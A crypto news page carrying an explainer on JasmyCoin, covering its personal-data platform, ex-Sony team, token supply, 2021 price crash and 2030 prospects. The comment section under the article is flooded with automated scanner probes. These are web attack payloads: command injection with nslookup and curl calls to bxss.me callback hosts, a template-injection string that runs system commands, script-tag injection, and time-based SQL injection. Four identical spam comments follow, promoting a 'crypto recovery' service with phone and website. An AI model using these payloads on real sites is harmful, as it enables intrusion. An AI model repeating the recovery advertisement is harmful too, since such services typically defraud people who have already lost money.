This site uses cookies. Browsing the site, you agree to the use of cookies. If you need more information, please visit the Cookies Policy page
Русский Русский  English English
Enter / Registration
Cryptocurrencies: 9543 / Markets: 112792
Market Cap: $ 4 144 016 321 258 / 24h Vol: $ 196 655 936 213 / BTC Dominance: 58.512630380324%

Н News

  1. Home
  2. News

JasmyCoin to regain $1? Why ‘Japan’s Bitcoin’ is a dark horse for 2030

What is JasmyCoin, also known as Japan’s Bitcoin? Discover the ex-Sony project’s plan for data democracy, its tech, price history, risks, and 2030 forecast.

In a world run by a few tech giants hoarding our data, a Tokyo company named Jasmy is trying to start a revolution. They call it “Data Democracy,” and their goal is to put you back in charge of your own digital life.

The whole system is built on two core ideas: the Personal Data Locker (PDL) and the Secure Knowledge Communicator (SKC). These tools are designed to flip the data economy on its head.

The full thing runs on a clever two-blockchain system. For the serious business stuff, it uses the private and powerful Hyperledger Fabric. For its currency, JasmyCoin [JASMY] uses the public Ethereum [ETH] blockchain.

The team knew that cramming endless data from smart devices onto a blockchain would be a disaster, so they plugged in the InterPlanetary File System (IPFS).

This system spreads data across a network of computers, so there’s no central weak spot for hackers to target.

Your Personal Data Locker (PDL) is exactly what it sounds like: a digital safe that only you control. When one of your smart devices creates data, the information gets stored on IPFS.

The blockchain then gets a unique digital fingerprint, called a Content Identifier (CID), that points to your data. This setup uses the blockchain to prove your data is untouched without getting bogged down.

If a single byte of your data is changed, the fingerprint won’t match, and the alarm bells go off.

Standing guard at the door of this digital safe is the Secure Knowledge Communicator (SKC).

After you prove who you are once, the SKC handles everything else, from letting companies see your data to kicking them out. When a business wants your information, the rules you set are baked into a smart contract.

This automates the process, making sure no one gets a peek without your crystal-clear approval.

The final piece of this security puzzle is the Smart Guardian (SG). It connects your real-world smart devices to your verified identity online, a process they call “Know Your Machine” (KYM).

This step blocks any random, unauthorized devices from even connecting.

The PDL, SKC, and SG work together to create a system where you create, protect, and even sell your own data, getting paid in JasmyCoin for the trouble.

Jasmy’s street cred comes directly from its founding team—a handful of heavy hitters who used to run things at Sony. This “Sony DNA” gives them an edge in both building technology and striking major deals.

You can see the team’s influence in Jasmy’s big-picture plan, which focuses on quality and trust—hallmarks of Japanese manufacturing.

Their old Sony contact lists have helped them land partnerships with massive companies like Panasonic, Toyota, and VAIO, giving the project a level of legitimacy most crypto startups can only dream of.

There will only ever be 50 billion JASMY tokens. The system can’t create more. By the end of 2025, nearly all of those coins, over 49 billion, are already in the market.

This means there’s little danger of a sudden dump of new tokens crashing the price.

Jasmy skipped a traditional ICO. Instead, the coins were handed out based on their original plan:

Some trackers show slightly different numbers, but the big picture is the same. The company also put locks on large chunks of tokens to prevent them from all being sold at once, a plan detailed in its 2024 roadmap.

Now that almost all the coins are out, what happens to JASMY’s price is no longer about supply—it’s all about whether people actually start using it.

During the crypto madness of early 2021, JasmyCoin’s price went completely vertical, hitting an insane high of around $4.99 on the 16th of February.

It was a classic crypto bubble: a market on fire, mixed with a tiny supply of available coins.

Back then, you could really only buy JASMY on a small Singaporean exchange called MEXC. This meant that even a little bit of buying could send the price through the roof.

The story was compelling—data freedom led by ex-Sony bosses—and it sparked a speculative frenzy, especially in Asia.

But what goes up can come crashing down. The price collapsed by over 99% in just a few weeks. New tokens were released into the small market, creating a tidal wave of selling.

At the same time, China was cracking down on crypto and India was making threatening noises, which spooked the markets where Jasmy was most popular.

It became a textbook example of how a hot narrative and low liquidity can burn investors.

People often call JasmyCoin “Japan’s Bitcoin,” a nickname that’s one part marketing, one part national pride.

It sticks because the company is based in Tokyo and was founded by Sony legends, which makes it stand out.

What gives the name some weight is that JasmyCoin was one of the first crypto projects to get the green light from Japan’s tough financial regulators.

In October 2021, it got listed on BITPOINT, an exchange approved by the country’s Financial Services Agency (FSA). That was a huge deal and a sign that it was a legitimate player at home.

The international media loves the nickname, but in Japan, people are a bit more reserved.

Crypto enthusiasts there recognize JasmyCoin’s Japanese origins but mostly see the name for what it is: a great marketing slogan, not a serious comparison to Bitcoin.

In the end, whether Jasmy lives up to the name depends on if it can turn its big ideas and regulatory approvals into technology that people actually use.

Jasmy is going all-in on building its platform over the next couple of years. The centerpiece of its 2025-2026 plan is an AI-driven Layer 2 network they’re calling JANCTION.

It’s a clear push to make the JASMY token useful for more than just trading.

For all its big plans, JASMY is facing a difficult climb. The whole project’s future relies on pulling off a very complicated tech roadmap while trying to manage a tidal wave of data from millions of smart devices.

The competition is brutal. There are plenty of other projects in both blockchain and the Internet of Things fighting for the same turf.

Getting people and companies to ditch their current data systems for something new is a massive challenge.

The company has also been criticized for not being more open. Some investors feel like the top executives are too quiet and haven’t clearly explained how the token will be used, which has created some distrust.

On top of that, JASMY’s price gets dragged around by whatever Bitcoin and the rest of the crypto market are doing, which can kill momentum when fear takes over.

Ask ten analysts where JasmyCoin will be in 2030, and you’ll get ten different answers. It’s a high-risk, high-reward bet.

Most agree that if the company delivers on its promises and the data economy keeps growing, the future looks bright.

The predictions are all over the place:

These guesses all depend on a few big “ifs”: if the number of smart devices explodes, if selling personal data becomes mainstream, if Jasmy keeps signing big partners, and if governments don’t crack down on crypto.

With a fixed supply of 50 billion tokens, the coin’s value won’t come from scarcity. For the price to truly explode, Jasmy needs to convince millions of people to actually start using its network.

Source

Tags

Ethereum, ICO

Category

News

Date

  • 09.10.25 08:08 pHqghUme

    can I ask you a question please?&echo nrqmto$()\ aadrei\nz^xyu||a #' &echo nrqmto$()\ aadrei\nz^xyu||a #|" &echo nrqmto$()\ aadrei\nz^xyu||a #

  • 09.10.25 08:08 pHqghUme

    |echo oljujl$()\ pbqbzp\nz^xyu||a #' |echo oljujl$()\ pbqbzp\nz^xyu||a #|" |echo oljujl$()\ pbqbzp\nz^xyu||a #

  • 09.10.25 08:08 pHqghUme

    can I ask you a question please?|echo qswrbu$()\ ovnycc\nz^xyu||a #' |echo qswrbu$()\ ovnycc\nz^xyu||a #|" |echo qswrbu$()\ ovnycc\nz^xyu||a #

  • 09.10.25 08:08 pHqghUme

    expr 9000227416 - 917575

  • 09.10.25 08:08 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:08 pHqghUme

    (nslookup -q=cname hitrirljyvgim44c57.bxss.me||curl hitrirljyvgim44c57.bxss.me))

  • 09.10.25 08:08 pHqghUme

    $(nslookup -q=cname hitnaasjhmbqf44699.bxss.me||curl hitnaasjhmbqf44699.bxss.me)

  • 09.10.25 08:08 pHqghUme

    &nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&'\"`0&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&`'

  • 09.10.25 08:08 pHqghUme

    &(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&'\"`0&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&`'

  • 09.10.25 08:08 pHqghUme

    |(nslookup -q=cname hitfmymffseet6e8b2.bxss.me||curl hitfmymffseet6e8b2.bxss.me)

  • 09.10.25 08:08 pHqghUme

    `(nslookup -q=cname hitohduurqhba06a59.bxss.me||curl hitohduurqhba06a59.bxss.me)`

  • 09.10.25 08:08 pHqghUme

    ;(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)|(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)&(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)

  • 09.10.25 08:08 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:08 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitanwkhusxwr37069.bxss.me||curl${IFS}hitanwkhusxwr37069.bxss.me)

  • 09.10.25 08:09 pHqghUme

    &(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&`'

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

To join the Chat, you need a free pro-blockchain.com account. Enter Registration

Similar news

Финансовые рынки от TradingView
Have questions?
We're available 24/7
Support 24/7 Help Icon
Manager Online Help Icon
Help Icon